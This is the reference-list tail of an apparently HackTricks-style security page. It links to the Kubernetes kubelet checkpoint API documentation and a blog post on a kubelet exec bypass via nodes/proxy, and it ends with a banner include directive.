- [https://kubernetes.io/docs/reference/node/kubelet-checkpoint-api/](https://kubernetes.io/docs/reference/node/kubelet-checkpoint-api/)
- [nodes/proxy GET -> kubelet exec via WebSocket bypass](https://grahamhelton.com/blog/nodes-proxy-rce)
{{#include ../../../banners/hacktricks-training.md}}